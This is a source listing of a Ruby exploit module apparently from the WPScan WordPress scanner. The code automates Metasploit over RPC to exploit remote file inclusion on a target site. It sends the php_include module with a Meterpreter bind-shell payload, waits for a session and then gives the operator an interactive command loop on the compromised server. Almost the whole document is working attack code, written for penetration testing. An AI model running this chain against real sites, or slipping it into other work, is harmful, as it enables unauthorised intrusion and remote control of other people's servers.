Exploit

# File lib/wpscan/exploit.rb, line 27
def initialize(wp_url, type, uri, postdata, use_proxy, proxy_addr, proxy_port)
  @wp_url = URI.parse(wp_url.to_s)
  @rhost = @wp_url.host
  @path = @wp_url.path
  @type = type
  @uri = uri
  @postdata = postdata
  @session_in_use = nil
  @use_proxy = use_proxy
  @proxy_addr = proxy_addr
  @proxy_port = proxy_port
  start()
end

# File lib/wpscan/exploit.rb, line 148
def choose_session()
  if session_count() >= 2
    puts "[?] We have " + session_count().to_s + " sessions running. Please choose one by id."
    open_sessions = ""
    sessions.keys.each do |open_session|
      open_sessions += open_session.to_s + " "
    end
    puts open_sessions
    use_session = Readline.readline
    puts "Using session " + use_session.to_s
    @session_in_use = use_session
  else
    puts "Using session " + last_session_id().to_s
    @session_in_use = last_session_id()
  end
end

# File lib/wpscan/exploit.rb, line 61
def exploit(msf_module, payload)

  exploit_info(msf_module,payload)

  if @postdata == ""
    result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:PAYLOAD => payload})
  else
    result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:POSTDATA => @postdata, :PAYLOAD => payload})
  end

  if result['result'] == "success"
    puts "[*] Exploit worked! Waiting for a session..."

    session_spawn_timer = Time.new
    while sessions.nil? or sessions.empty?
      # wait for a session to spawn with a timeout of 1 minute
      if (Time.now - session_spawn_timer > 60)
        puts "[ERROR] Session was not created... exiting."
        return false
      end
    end

    choose_session()

    input = nil
    while input.nil?
      puts meterpreter_read(last_session_id())
      input = Readline.readline
      if input == "exit"
        kill_session(@session_in_use)
        return false
      end
      meterpreter_write(last_session_id(), input)
      input = nil
    end

  else
    puts "[ERROR] Exploit failed! :("
    return false
  end
end

# File lib/wpscan/exploit.rb, line 105
def exploit_info(msf_module,payload)
  info = RpcClient.new.get_exploit_info(msf_module)
  puts
  puts "| [EXPLOIT]"
  puts "| Name: " + info['name']
  puts "| Description: " + info['description'].gsub!("\t", "").gsub!("\n\n","\n").gsub!("\n", "\n| ").chop!
  puts "| [OPTIONS]"
  puts "| RHOST: " + @rhost
  puts "| PATH: " + @path
  puts "| URI: " + uri
  puts "| POSTDATA: " + @postdata if @postdata != ""
  puts "| Payload: " + payload
  puts
end

# File lib/wpscan/exploit.rb, line 122
def job_id()
  jobs = RpcClient.new.jobs()
  puts jobs
end

# File lib/wpscan/exploit.rb, line 167
def kill_session(id)
  begin
    killed = RpcClient.new.kill_session(id)
    if killed['result'] == "success"
      puts "[-] Session " + id.to_s + " killed."
    end
  rescue
    puts "[] Session " + id.to_s + " does not exist."
    return false
  end
end

# File lib/wpscan/exploit.rb, line 135
def last_session_id()
  sessions.keys.last
end

# File lib/wpscan/exploit.rb, line 196
def meterpreter_read(id)
  Base64.decode64(RpcClient.new.meterpreter_read(id)['data'])
end

# File lib/wpscan/exploit.rb, line 203
def meterpreter_write(id, data)
  RpcClient.new.meterpreter_write(id, Base64.encode64(data))
end

# File lib/wpscan/exploit.rb, line 182
def read_shell(id)
  RpcClient.new.read_shell(id)['data']
end

# File lib/wpscan/exploit.rb, line 141
def session_count()
  sessions().size
end

# File lib/wpscan/exploit.rb, line 129
def sessions()
  sessions = RpcClient.new.sessions()
end

# File lib/wpscan/exploit.rb, line 43
def start()
  if @type == "RFI"
    puts
    puts "[?] Exploit? [y/n]"
    answer = Readline.readline
    if answer =~ /^y/
      msf_module = "exploit/unix/webapp/php_include"
      payload = "php/meterpreter/bind_tcp"
      exploit(msf_module, payload)
    else
      return false
    end
  elsif @type == "SQLI"
  end
end

# File lib/wpscan/exploit.rb, line 189
def write_shell(id, data)
  RpcClient.new.write_shell(id, data)
end